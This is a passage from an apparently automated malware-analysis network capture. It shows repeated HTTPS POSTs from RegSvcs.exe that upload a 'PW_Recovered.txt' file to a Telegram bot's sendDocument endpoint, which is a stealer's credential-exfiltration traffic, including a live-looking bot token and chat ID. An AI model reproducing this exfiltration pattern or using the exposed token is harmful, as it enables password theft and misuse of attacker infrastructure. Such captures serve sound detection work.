{"ok":true,"result":{"message_id":12775,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	61582	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:58 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce27d7cd6f4d1 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:58 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 32 37 64 37 63 64 36 66 34 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce27d7cd6f4d1Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:58 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:58 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12776,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	61583	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:58 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce4554f19dcc3 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:58 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 34 35 35 34 66 31 39 64 63 63 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce4554f19dcc3Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:58 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:58 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12777,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	61586	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:02 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce309cdaf4648 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:02 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 33 30 39 63 64 61 66 34 36 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce309cdaf4648Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:03 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:03 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12780,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	61587	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:02 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce690e0867cd4 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:02 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 36 39 30 65 30 38 36 37 63 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce690e0867cd4Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:03 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:03 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12779,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	61590	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:07 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce72aa89fc853 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:07 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 37 32 61 61 38 39 66 63 38 35 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce72aa89fc853Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:07 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:07 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12781,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	61591	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:07 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce39b9b85919c Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:07 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 33 39 62 39 62 38 35 39 31 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce39b9b85919cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:08 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:08 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12782,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	61594	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:11 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce7aa69158b0e Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:11 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 37 61 61 36 39 31 35 38 62 30 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce7aa69158b0eContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:11 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:11 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12783,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	61595	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:12 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce43bdbce8cfe Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
